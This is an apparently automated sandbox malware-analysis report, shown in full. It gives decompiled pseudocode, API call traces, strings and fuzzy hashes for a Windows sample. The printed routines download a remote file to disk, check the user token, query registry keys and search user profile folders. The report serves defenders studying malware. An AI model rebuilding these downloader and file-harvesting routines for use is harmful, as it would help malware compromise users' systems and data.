__RTC_Initialize.LIBCMTD ref: 004134E9
__amsg_exit.LIBCMTD ref: 00413500
___crtGetEnvironmentStringsA.LIBCMTD ref: 00413513
___setargv.LIBCMTD ref: 0041351D
__amsg_exit.LIBCMTD ref: 00413528
__setenvp.LIBCMTD ref: 00413530
__amsg_exit.LIBCMTD ref: 0041353B
__cinit.LIBCMTD ref: 00413545
__amsg_exit.LIBCMTD ref: 0041355A
__wincmdln.LIBCMTD ref: 00413562

Memory Dump Source

Source File: 00000010.00000002.505948043.0000000000412000.00000020.00000001.01000000.00000004.sdmp, Offset: 00412000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_412000_F0geI.jbxd

Similarity

API ID: __amsg_exit$___crt_fast_error_exit$CreateEnvironmentExitHeapInitializeProcessStrings___setargv__cinit__heap_init__mtinit__setenvp__wincmdln_check_managed_app
String ID:
API String ID: 1259877414-0
Opcode ID: 1ae0cede8a6f80fa2b0e897c4d02645d5987a066f0932666652f4bbf2efc4084
Instruction ID: d791b14cbc55d7fd5126e6317dd736716c75130935513ae69eaa218fc0ddf6fe
Opcode Fuzzy Hash: 1ae0cede8a6f80fa2b0e897c4d02645d5987a066f0932666652f4bbf2efc4084
Instruction Fuzzy Hash: 6231B5F1E00314BAEB10AFB2A9027DE7660AB1070DF10412FE91957282F67996818A5B

Uniqueness

Uniqueness Score: -1.00%

Function 00408495 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 134
filenetworkstringCOMMON

Download Yara Rule

C-Code - Quality: 61%

			E00408495(WCHAR* __ecx, WCHAR* __edx, WCHAR* _a4) {
				long _v8;
				WCHAR* _v12;
				long _v16;
				void _v2064;
				void* _t32;
				void* _t35;
				signed int _t36;
				long _t39;
				void* _t42;
				void* _t44;
				int _t47;
				int _t53;
				void* _t55;
				void* _t56;
				signed int _t58;
				void* _t69;
				WCHAR* _t71;
				void* _t72;
				signed short* _t73;
				void* _t75;

				_v12 = __edx;
				_t71 = __ecx;
				_t56 =  *((intOrPtr*)( *0x40e044))(0x40, 0x208);
				if( *((short*)(__ecx)) != 0x68) {
					L15:
					LocalFree(_t56);
					return 0;
				}
				_t32 = 0x74;
				if( *((intOrPtr*)(__ecx + 2)) != _t32 ||  *((intOrPtr*)(__ecx + 4)) != _t32 ||  *((short*)(__ecx + 6)) != 0x70) {
					goto L15;
				} else {
					_v16 =  *(__ecx + 8) & 0x0000ffff;
					_t35 =  *((intOrPtr*)( *0x40e18c))(__ecx,  *0x40e3ec);
					_t69 = 0;
					_v8 = 0x2f;
					_t8 = _t35 + 6; // 0x6
					_t73 = _t8;
					_t36 =  *_t73 & 0x0000ffff;
					_t58 = _t36;
					if(_t36 == _v8) {
						L7:
						lstrlenW(_t56);
						_t39 =  *((intOrPtr*)( *0x40e124))(L"qwrqrwrqwrqwr", 0, 0, 0, 0);
						_v8 = _t39;
						if(_t39 == 0) {
							goto L15;
						}
						_t61 =  ==  ? 0x84c00000 : 0x84400000;
						_t42 = InternetOpenUrlW(_v8, _t71, _v12,  *((intOrPtr*)( *0x40e08c))(0), _v12,  ==  ? 0x84c00000 : 0x84400000); // executed
						_t72 = _t42;
						if(_t72 == 0) {
							goto L15;
						}
						_t44 = CreateFileW(_a4, 0x40000000, 0, 0, 2, 0x8000000, 0); // executed
						_t75 = _t44;
						if(_t75 == 0xffffffff) {
							goto L15;
						}
						_t47 = InternetReadFile(_t72,  &_v2064, 0x800,  &_v8); // executed
						while(_t47 != 0) {
							if(_v8 == 0) {
								FindCloseChangeNotification(_t75); // executed
								LocalFree(_t56);
								return 1;
							}
							_t53 = WriteFile(_t75,  &_v2064, _v8,  &_v16, 0); // executed
							if(_t53 == 0) {
								goto L15;
							}
							_t47 = InternetReadFile(_t72,  &_v2064, 0x800,  &_v8); // executed
						}
						goto L15;
					}
					_t55 = 0;
					do {
						_t69 = _t69 + 1;
						 *(_t55 + _t56) = _t58;
						_t55 = _t69 + _t69;
						_t58 =  *(_t55 + _t73) & 0x0000ffff;
					} while (_t58 != _v8);
					goto L7;
				}
			}

0x004084ad
0x004084b0
0x004084b8
0x004084ba
0x004085f8
0x004085f9
0x00000000
0x004085ff
0x004084c2
0x004084c7
0x00000000
0x004084e2
0x004084ec
0x004084f5
0x004084f7
0x004084f9
0x00408500
0x00408500
0x00408503
0x00408506
0x0040850c
0x00408522
0x00408523
0x00408539
0x0040853b
0x00408540
0x00000000
0x00000000
0x00408561
0x00408574
0x00408576
0x0040857a
0x00000000
0x00000000
0x00408596
0x00408598
0x0040859d
0x00000000
0x00000000
0x004085b6
0x004085f4
0x004085be
0x00408607
0x0040860e
0x00000000
0x00408616
0x004085d6
0x004085da
0x00000000
0x00000000
0x004085f2
0x004085f2
0x00000000
0x004085f4
0x0040850e
0x00408510
0x00408510
0x00408511
0x00408515
0x00408518
0x0040851c
0x00000000
0x00408510

APIs

lstrlenW.KERNEL32(00000000), ref: 00408523
InternetOpenUrlW.WININET(0000002F,?,00408819,00000000), ref: 00408574
CreateFileW.KERNEL32(00408819,40000000,00000000,00000000,00000002,08000000,00000000), ref: 00408596
InternetReadFile.WININET(00000000,?,00000800,0000002F), ref: 004085B6
WriteFile.KERNEL32(00000000,?,00000000,00000073,00000000), ref: 004085D6
InternetReadFile.WININET(00000000,?,00000800,00000000), ref: 004085F2
LocalFree.KERNEL32(00000000), ref: 004085F9
FindCloseChangeNotification.KERNEL32(00000000), ref: 00408607
LocalFree.KERNEL32(00000000), ref: 0040860E

Strings

y@, xrefs: 00408495
qwrqrwrqwrqwr, xrefs: 00408534

Memory Dump Source

Source File: 00000010.00000002.501719211.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.503023573.0000000000410000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_F0geI.jbxd

Yara matches

Similarity

API ID: File$Internet$FreeLocalRead$ChangeCloseCreateFindNotificationOpenWritelstrlen
String ID: qwrqrwrqwrqwr$y@
API String ID: 1040460322-4056631227
Opcode ID: 2efbc42d44f6ec5ca4160c273d464a785a5d876e109b975a63a0bab6d59c1f12
Instruction ID: 1aaf66e6ff826a0af1a1f58395baf02585259993efb391a5facff1777f096ed2
Opcode Fuzzy Hash: 2efbc42d44f6ec5ca4160c273d464a785a5d876e109b975a63a0bab6d59c1f12
Instruction Fuzzy Hash: 4241BE70900115BEEB149BA5CE49EBAB3B8EB44300F00853AE551B72D1EBB4AE54DB68

Uniqueness

Uniqueness Score: -1.00%

Function 00409906 Relevance: 16.5, APIs: 13, Instructions: 263
COMMON

Download Yara Rule

C-Code - Quality: 21%

			E00409906(void* _a4, short* _a8) {
				void* _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				signed int _v28;
				char _v32;
				void* _v36;
				char _v60;
				signed int _t53;
				signed int _t55;
				signed int _t60;
				void* _t64;
				signed int _t67;
				void* _t71;
				signed int _t76;
				void* _t78;
				void* _t100;
				signed int _t105;
				void* _t107;
				void* _t108;
				void* _t109;
				void* _t110;
				void* _t111;
				void* _t112;
				void* _t126;
				signed int _t127;
				signed int _t133;
				void* _t144;
				char _t149;
				void* _t158;
				void* _t162;
				signed int _t163;
				void* _t164;
				void* _t166;
				void* _t168;
				void* _t173;
				void* _t174;
				signed int _t179;
				void* _t184;

				_t127 = 0;
				_t53 =  *((intOrPtr*)( *0x40e18c))(_a4,  *0x40e430, _t162, _t126);
				_t163 = _t53;
				if(_t163 != 0) {
					_t164 = _t163 + 0x10;
					_t55 =  *((intOrPtr*)( *0x40e18c))(_t164,  *0x40e1f0);
					__eflags = _t55;
					if(_t55 == 0) {
						L5:
						_v16 = LocalAlloc(0x40,  *((intOrPtr*)( *0x40e08c))(_t164, _t174) + _t57);
						_t60 = E0040A3E4(_t164,  &_v16, 0, _t127);
						__eflags = _t60;
						if(_t60 != 0) {
							_t166 = _t164 + _t127 * 2 + 2;
							_t64 = LocalAlloc(0x40,  *((intOrPtr*)( *0x40e08c))(_t166) + _t62);
							_v8 = _t64;
							_t179 =  *((intOrPtr*)( *0x40e18c))(_t166,  *0x40e20c) - _t166 >> 1;
							_t67 = E0040A3E4(_t166,  &_v8, 0, _t179);
							__eflags = _t67;
							if(_t67 != 0) {
								_t168 = _t166 + _t179 * 2 + 2;
								_t71 = LocalAlloc(0x40,  *((intOrPtr*)( *0x40e08c))(_t168) + _t69);
								_v12 = _t71;
								_t76 = E0040A3E4(_t168,  &_v12, 0,  *((intOrPtr*)( *0x40e18c))(_t168,  *0x40e20c) - _t168 >> 1); // executed
								__eflags = _t76;
								if(__eflags != 0) {
									_t78 =  *((intOrPtr*)( *0x40e044))(0x40, 0x5000);
									_a4 =  *((intOrPtr*)( *0x40e13c))(_t78, _v8);
									E00409064(__eflags,  &_a4);
									E0040919C( &_a4); // executed
									E004090DC( *0x40e13c,  &_a4); // executed
									E00409265( &_a4);
									E004092CF( &_v12,  &_a4); // executed
									E0040942A( &_a4); // executed
									E00409206(__eflags,  &_a4);
									E00409498( &_a4);
									E00409581(__eflags,  &_a4, _v12); // executed
									_t144 = _a4;
									_v36 = _v16;
									_v32 = _t144;
									_v28 = 0;
									asm("movsd");
									asm("movsd");
									asm("movsd");
									_t100 =  *((intOrPtr*)( *0x40e08c))(_t144);
									__eflags = _t100 - 0x40;
									if(_t100 > 0x40) {
										_t107 =  *((intOrPtr*)( *0x40e044))(0x40, 0x208);
										_t108 =  *((intOrPtr*)( *0x40e044))(0x40, 0x208);
										_t158 = 0x10;
										_t109 = E0040A05F(_t107, _t158);
										_v24 = _t109;
										_t110 =  *((intOrPtr*)( *0x40e13c))(_t108,  *0x40e210);
										_t173 = _v24;
										_t111 = E0040A503(_t110, _t173);
										_t149 =  *0x40e204; // 0x735b80
										_v28 = _v28 & 0x00000000;
										_v32 = _t149;
										_v24 = _t111;
										_t112 = E00408619( &_v24);
										_v20 = _t112;
										_t184 =  *((intOrPtr*)( *0x40e044))(0x40, 0x184);
										 *((intOrPtr*)( *0x40e0e4))(0xfde9, 0, _t173, 0xffffffff, 0, 0, 0, 0);
										__eflags = 0;
										if(0 != 0) {
											 *((intOrPtr*)( *0x40e0e4))(0xfde9, 0, _t173, 0xffffffff, _t184, 0, 0, 0);
											__eflags = 0;
											if(0 != 0) {
												E00407EDB(_a8, _t184, 1,  &_v60, 0, 0, _v20,  &_v32); // executed
											}
										}
										LocalFree(_t184);
										LocalFree(_v20);
										LocalFree(_v24);
										LocalFree(_t173);
									}
									LocalFree(_a4); // executed
									LocalFree(_v8);
									LocalFree(_v12); // executed
									L19:
									LocalFree(_v16);
									_t105 = 1;
									L20:
									return _t105;
								}
								LocalFree(_v8);
								LocalFree(_v12);
								L9:
								_push(0xfffffffc);
								L10:
								_pop(1);
								goto L19;
							}
							LocalFree(_v8);
							goto L9;
						}
						_push(0xfffffffd);
						goto L10;
					}
					_t133 = _t55 - _t164;
					__eflags = _t133;
					_t127 = _t133 >> 1;
					if(_t133 >= 0) {
						goto L5;
					}
					_t105 = 0xfffffffe;
					goto L20;
				}
				_t105 = _t53 | 0xffffffff;
				goto L20;
			}

0x00409919
0x0040991e
0x00409920
0x00409924
0x00409939
0x0040993d
0x0040993f
0x00409941
0x00409953
0x0040996f
0x00409974
0x0040997b
0x0040997d
0x00409991
0x0040999c
0x004099a4
0x004099b8
0x004099be
0x004099c5
0x004099c7
0x004099e8
0x004099f3
0x004099fb
0x00409a11
0x00409a18
0x00409a1a
0x00409a36
0x00409a44
0x00409a4b
0x00409a54
0x00409a5d
0x00409a66
0x00409a6f
0x00409a78
0x00409a81
0x00409a8a
0x00409a96
0x00409a9b
0x00409aa7
0x00409aaf
0x00409ab2
0x00409ab5
0x00409ab7
0x00409ab8
0x00409ab9
0x00409abe
0x00409ac1
0x00409ad4
0x00409ae1
0x00409ae5
0x00409aea
0x00409afc
0x00409aff
0x00409b01
0x00409b08
0x00409b0d
0x00409b13
0x00409b17
0x00409b1d
0x00409b20
0x00409b32
0x00409b3d
0x00409b4e
0x00409b50
0x00409b52
0x00409b69
0x00409b6b
0x00409b6d
0x00409b84
0x00409b89
0x00409b6d
0x00409b8d
0x00409b96
0x00409b9f
0x00409ba6
0x00409ba6
0x00409baf
0x00409bb8
0x00409bc1
0x00409bc7
0x00409bca
0x00409bd0
0x00409bd3
0x00409bd6
0x00409bd6
0x00409a1f
0x004099cc
0x004099cc
0x004099d2
0x004099d4
0x004099d4
0x00000000
0x004099d4
0x004099cc
0x00000000
0x004099cc
0x0040997f
0x00000000
0x0040997f
0x00409945
0x00409945
0x00409947
0x00409949
0x00000000
0x00000000
0x0040994d
0x00000000
0x0040994d
0x00409926
0x00000000

Memory Dump Source

Source File: 00000010.00000002.501719211.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.503023573.0000000000410000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_F0geI.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 823b0d16673dee3de935993e7c46dd941d23d6ac542f114209c353ad5b495304
Instruction ID: d553b19b407f17417f5105702fe08a0418c2ec115b386657b372b4e652bae7b9
Opcode Fuzzy Hash: 823b0d16673dee3de935993e7c46dd941d23d6ac542f114209c353ad5b495304
Instruction Fuzzy Hash: FA81D5B1900205BFDB00DBA6DD45DAE7BB9EB84310B00493AF914F72D1DB78AD11CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040A0BE Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 69
stringCOMMON

Download Yara Rule

C-Code - Quality: 60%

			E0040A0BE() {
				long _v8;
				void* _v12;
				signed int _v16;
				int _t20;
				int _t24;
				int _t28;
				void* _t35;
				union _TOKEN_INFORMATION_CLASS _t38;

				_v8 = _v8 & 0x00000000;
				if(OpenProcessToken(GetCurrentProcess(), 8,  &_v12) == 0) {
					L8:
					return 0;
				}
				_t38 = 1;
				_t20 = GetTokenInformation(_v12, 1, 0, _v8,  &_v8); // executed
				if(_t20 != 0 || GetLastError() == 0x7a) {
					_t35 =  *((intOrPtr*)( *0x40e094))(0x40, _v8);
					_t24 = GetTokenInformation(_v12, _t38, _t35, _v8,  &_v8); // executed
					if(_t24 == 0) {
						goto L8;
					}
					_v16 = _v16 & 0x00000000;
					_push( &_v16);
					_push( *_t35);
					if( *((intOrPtr*)( *0x40e058))() == 0) {
						goto L8;
					}
					_t28 = lstrcmpiW( *0x40e464, _v16); // executed
					if(_t28 != 0) {
						_t38 = 0;
					}
					GlobalFree(_t35);
					return _t38;
				} else {
					goto L8;
				}
			}

0x0040a0c4
0x0040a0e1
0x0040a169
0x00000000
0x0040a169
0x0040a0f7
0x0040a0fc
0x0040a100
0x0040a11f
0x0040a12d
0x0040a131
0x00000000
0x00000000
0x0040a133
0x0040a13f
0x0040a140
0x0040a146
0x00000000
0x00000000
0x0040a156
0x0040a15a
0x0040a15c
0x0040a15c
0x0040a15f
0x00000000
0x00000000
0x00000000
0x00000000

APIs

GetCurrentProcess.KERNEL32(00000008,?,?,iqroq5112542785672901323), ref: 0040A0D6
OpenProcessToken.ADVAPI32(00000000,?,iqroq5112542785672901323), ref: 0040A0DD
GetTokenInformation.KERNELBASE(?,00000001,00000000,00000000,00000000,?,iqroq5112542785672901323), ref: 0040A0FC
GetLastError.KERNEL32(?,iqroq5112542785672901323), ref: 0040A102
GetTokenInformation.KERNELBASE(?,00000001,00000000,00000000,00000000,?,iqroq5112542785672901323), ref: 0040A12D
lstrcmpiW.KERNEL32(00000000,?,iqroq5112542785672901323), ref: 0040A156
GlobalFree.KERNEL32(00000000), ref: 0040A15F

Strings

iqroq5112542785672901323, xrefs: 0040A0CB

Memory Dump Source

Source File: 00000010.00000002.501719211.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.503023573.0000000000410000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_F0geI.jbxd

Yara matches

Similarity

API ID: Token$InformationProcess$CurrentErrorFreeGlobalLastOpenlstrcmpi
String ID: iqroq5112542785672901323
API String ID: 2598388208-2937663778
Opcode ID: 4d261efb80a07d971c1b4c2ed8a49a1184e64f21143a526caa496802c9409c4c
Instruction ID: 15eb1b3bc6c873a00f883c6e6f8e066a9c9a871e93fd9db043f72c5c5a2fc382
Opcode Fuzzy Hash: 4d261efb80a07d971c1b4c2ed8a49a1184e64f21143a526caa496802c9409c4c
Instruction Fuzzy Hash: 51118135900215FBDB119BE6DE44EAFBBB8EB48750F040475E900F61A0DB74DE24DB66

Uniqueness

Uniqueness Score: -1.00%

Function 00405FEB Relevance: 11.5, APIs: 9, Instructions: 274memorystringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00735A80,?,?,?,?,?,?,?,?,?,?,?,004058D7,?,?,?), ref: 00406137
LocalAlloc.KERNEL32(00000040,00000000,?,?,?,?,?,?,?,?,?,?,?,004058D7,?,?), ref: 0040615C
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,004058D7,?,?,?), ref: 00406221

Part of subcall function 0040A503: lstrlenW.KERNEL32(?,00000000,?,00000000,00000000,?,00408633), ref: 0040A516
Part of subcall function 0040A503: lstrlenW.KERNEL32(?,?,00000000,?,00000000,00000000,?,00408633), ref: 0040A51D
Part of subcall function 0040A503: LocalAlloc.KERNEL32(00000040,00000000,?,00000000,?,00000000,00000000,?,00408633), ref: 0040A533
Part of subcall function 0040A503: GlobalFree.KERNEL32(?), ref: 0040A550

LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,004058D7,?,?,?), ref: 0040622B
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,004058D7,?,?,?,00000000,00000000,00000000), ref: 00406270
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,004058D7,?,?,?,00000000,00000000,00000000), ref: 004062C7
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,004058D7,?,?,?,00000000,00000000,00000000), ref: 004062CE
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,004058D7,?,?,?,00000000,00000000,00000000), ref: 00406325
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,004058D7,?,?,?,00000000,00000000,00000000), ref: 0040632F

Memory Dump Source

Source File: 00000010.00000002.501719211.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.503023573.0000000000410000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_F0geI.jbxd

Yara matches

Similarity

API ID: Local$Free$lstrlen$Alloc$Global
String ID:
API String ID: 2878369382-0
Opcode ID: 88be271c9a3ae40306a79d0cf913d625e6cf91e891778e6da8720978225ce7ad
Instruction ID: ff6bad65333e8fe1a3c55b3bcf1dec483b74064a970dacde523e554a8e1a11d4
Opcode Fuzzy Hash: 88be271c9a3ae40306a79d0cf913d625e6cf91e891778e6da8720978225ce7ad
Instruction Fuzzy Hash: 78A1A872504301ABDB14DF65DD8096BBBF5FF88300F01492DFA59A72A0D775E820CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 0059003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 0059024D

Strings

cess, xrefs: 0059018D
kernel32.dll, xrefs: 0059008F, 00590095

Memory Dump Source

Source File: 00000010.00000002.508696384.0000000000590000.00000040.00001000.00020000.00000000.sdmp, Offset: 00590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_590000_F0geI.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: ee1f59e171199e66384d2c262f1c3237e2b828330c4cc9c82fb2229d09321594
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 59526974A01229DFDB64CF58C984BA8BBB1BF09314F1484D9E94DAB391DB30AE85DF14

Uniqueness

Uniqueness Score: -1.00%

Function 00403760 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 200fileCOMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(?,?,?,?,00000000), ref: 004039CB

Part of subcall function 0040A69E: LocalFree.KERNEL32(00000000,?,?,0040B2D2), ref: 0040A701

CopyFileW.KERNEL32(?,?,00000000,?,?,?,00000000), ref: 00403867
DeleteFileW.KERNEL32(?), ref: 004039AA
DeleteFileW.KERNEL32(?,?,?,?,00000000), ref: 004039BA
LocalFree.KERNEL32(?,?,?,?,00000000), ref: 004039C1

Strings

@]s, xrefs: 00403936, 0040395F, 0040396E

Memory Dump Source

Source File: 00000010.00000002.501719211.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.503023573.0000000000410000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_F0geI.jbxd

Yara matches

Similarity

API ID: FileFreeLocal$Delete$Copy
String ID: @]s
API String ID: 2498017937-1237473101
Opcode ID: 2887cd1b965e8c1fd80b588964d614a9ad5f8ca9391292049183dc8960f1e9c0
Instruction ID: 855b80ec5d303092bec4e067a8265e7fa441cfeb4fa3f9afbe0cd358cb9c57d7
Opcode Fuzzy Hash: 2887cd1b965e8c1fd80b588964d614a9ad5f8ca9391292049183dc8960f1e9c0
Instruction Fuzzy Hash: EF718D71500210EFDB059FA6EE84A5E3BB9FB48310B104979F925F72E0DB74DA208B5A

Uniqueness

Uniqueness Score: -1.00%

Function 004090DC Relevance: 10.6, APIs: 7, Instructions: 68
registryCOMMON

Download Yara Rule

C-Code - Quality: 52%

			E004090DC(void* __ecx, intOrPtr* _a4) {
				void* _v8;
				int _v12;
				long _t11;
				void* _t14;
				signed int _t20;
				void* _t24;
				void* _t25;
				void* _t32;
				void* _t33;
				void* _t35;
				intOrPtr* _t37;

				_v12 = 0x104;
				_t33 =  *((intOrPtr*)( *0x40e044))(0x40, 0x208, _t32, _t35, _t24, __ecx, __ecx);
				_t25 =  *((intOrPtr*)( *0x40e044))(0x40, 0x800);
				_t11 = RegOpenKeyExW(0x80000002,  *0x40e298, 0, 0x20119,  &_v8); // executed
				if(_t11 == 0) {
					RegQueryValueExW(_v8,  *0x40e448, 0, 0, _t33,  &_v12); // executed
				}
				RegCloseKey(_v8);
				_t14 =  *((intOrPtr*)( *0x40e08c))(_t33);
				_push(_t33);
				if(_t14 > 0) {
					wsprintfW(_t25,  *0x40e32c);
					_t37 = _a4;
					 *_t37 = E0040A503( *_t37, _t25);
					LocalFree(_t33);
					LocalFree(_t25);
					_t20 = 1;
				} else {
					_t20 = LocalFree() | 0xffffffff;
				}
				return _t20;
			}

0x004090f0
0x004090ff
0x00409110
0x00409129
0x0040912d
0x0040913f
0x0040913f
0x00409148
0x00409154
0x00409156
0x00409159
0x0040916d
0x00409173
0x00409183
0x00409185
0x0040918c
0x00409194
0x0040915b
0x00409161
0x00409161
0x00409199

APIs

RegOpenKeyExW.KERNEL32(80000002,00000000,00020119,00000000,?,?,?,00409A62,00000000), ref: 00409129
RegQueryValueExW.KERNEL32(00000000,00000000,00000000,00000000,00000104,?,?,?,00409A62,00000000), ref: 0040913F
RegCloseKey.ADVAPI32(00000000,?,?,?,00409A62,00000000), ref: 00409148
LocalFree.KERNEL32(00000000,?,?,?,00409A62,00000000), ref: 0040915B
wsprintfW.USER32 ref: 0040916D

Part of subcall function 0040A503: lstrlenW.KERNEL32(?,00000000,?,00000000,00000000,?,00408633), ref: 0040A516
Part of subcall function 0040A503: lstrlenW.KERNEL32(?,?,00000000,?,00000000,00000000,?,00408633), ref: 0040A51D
Part of subcall function 0040A503: LocalAlloc.KERNEL32(00000040,00000000,?,00000000,?,00000000,00000000,?,00408633), ref: 0040A533
Part of subcall function 0040A503: GlobalFree.KERNEL32(?), ref: 0040A550

LocalFree.KERNEL32(00000000,00000000), ref: 00409185
LocalFree.KERNEL32(00000000), ref: 0040918C

Memory Dump Source

Source File: 00000010.00000002.501719211.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.503023573.0000000000410000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_F0geI.jbxd

Yara matches

Similarity

API ID: FreeLocal$lstrlen$AllocCloseGlobalOpenQueryValuewsprintf
String ID:
API String ID: 660617932-0
Opcode ID: e7309cc0036a2c61331d2b52a6aee609973f60ba401e8f0191633dded93efb61
Instruction ID: e9f177af51a582558b006cd38ce564a6bd3d86c6e4fd3138e243791f8522013c
Opcode Fuzzy Hash: e7309cc0036a2c61331d2b52a6aee609973f60ba401e8f0191633dded93efb61
Instruction Fuzzy Hash: 8E119372600110BBE7049BA7ED49E5BBFBCEB49350B104839F609F61A1D6B45D20CB79

Uniqueness

Uniqueness Score: -1.00%

Function 00403F9D Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E00403F9D(void* __ecx, intOrPtr __edx, char _a4, char _a8) {
				void* _t7;
				void* _t16;
				void* _t17;
				void* _t26;
				void* _t28;
				void* _t30;

				_t17 =  *((intOrPtr*)( *0x40e044))(0x40, 0x228, _t26, _t30, _t16, __ecx);
				_t7 =  *((intOrPtr*)( *0x40e044))(0x40, 0x228);
				_t28 = _t7;
				 *0x40e0c4(0, _t17, 0x1c, 0);
				 *0x40e0c4(0, _t28, 0x1a, 0);
				_t1 =  &_a8; // 0x407b38
				E00401B05(_t17,  *_t1, __edx, _a4, 0);
				_t3 =  &_a8; // 0x407b38
				E0040196E(_t28,  *_t3, __edx, _a4, 0); // executed
				if(_t17 != 0) {
					LocalFree(_t17);
				}
				if(_t28 != 0) {
					LocalFree(_t28);
				}
				return 1;
			}

0x00403fbe
0x00403fc3
0x00403fcc
0x00403fce
0x00403fdb
0x00403fe1
0x00403fec
0x00403ff1
0x00403fff
0x00404009
0x0040400c
0x0040400c
0x00404014
0x00404017
0x00404017
0x00404026

APIs

SHGetSpecialFolderPathW.SHELL32(00000000,00000000,0000001C,00000000,?,?,00407B38,00000000,00000000), ref: 00403FCE
SHGetSpecialFolderPathW.SHELL32(00000000,00000000,0000001A,00000000,?,?,00407B38,00000000,00000000), ref: 00403FDB

Part of subcall function 00401B05: FindFirstFileW.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00401B5B

Part of subcall function 0040196E: FindFirstFileW.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 004019C6

LocalFree.KERNEL32(00000000,?,?,?,00407B38,00000000,00000000), ref: 0040400C
LocalFree.KERNEL32(00000000,?,?,?,00407B38,00000000,00000000), ref: 00404017

Strings

8{@, xrefs: 00403FE1, 00403FF1

Memory Dump Source

Source File: 00000010.00000002.501719211.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.503023573.0000000000410000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_F0geI.jbxd

Yara matches

Similarity

API ID: FileFindFirstFolderFreeLocalPathSpecial
String ID: 8{@
API String ID: 1746351402-1865321623
Opcode ID: faabf291c3588ec38a8ee4fb6b6ae69e583b51ce6e94b49b7ce2d95358603802
Instruction ID: 72fdba0f78f482ba83b50744195af73f567e22cf42767fcd2574695d6fb78c79
Opcode Fuzzy Hash: faabf291c3588ec38a8ee4fb6b6ae69e583b51ce6e94b49b7ce2d95358603802
Instruction Fuzzy Hash: 600128713402047BF7205F929D4AF6B3768DBC5B11F044138FB18BB2D1DAB49C1086AD

Uniqueness

Uniqueness Score: -1.00%

Function 00590005 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 221memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 0059024D

Strings

cess, xrefs: 0059018D
kernel32.dll, xrefs: 0059008F, 00590095

Memory Dump Source

Source File: 00000010.00000002.508696384.0000000000590000.00000040.00001000.00020000.00000000.sdmp, Offset: 00590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_590000_F0geI.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: 70fda1b21eb90cc3e5ff9d7b60175e9d36da9557abd3b5172b1d1fc14e85f79a
Instruction ID: 5f9693d6e87af51c38b550e37d50114cb803790004af63468fb0f9734cd28419
Opcode Fuzzy Hash: 70fda1b21eb90cc3e5ff9d7b60175e9d36da9557abd3b5172b1d1fc14e85f79a
Instruction Fuzzy Hash: 7AC19AB5D01228EFDF60CFA8D985BADBBB5BF08304F148099E54CA7252DB319A94DF11

Uniqueness

Uniqueness Score: -1.00%

Function 0040A5FA Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42
registryCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E0040A5FA() {
				void* _v8;
				int _v12;
				int _v16;
				long _t11;
				long _t14;
				char* _t19;

				_t19 =  *((intOrPtr*)( *0x40e044))(0x40, 0x208);
				_v12 = 0x104;
				_v16 = 1;
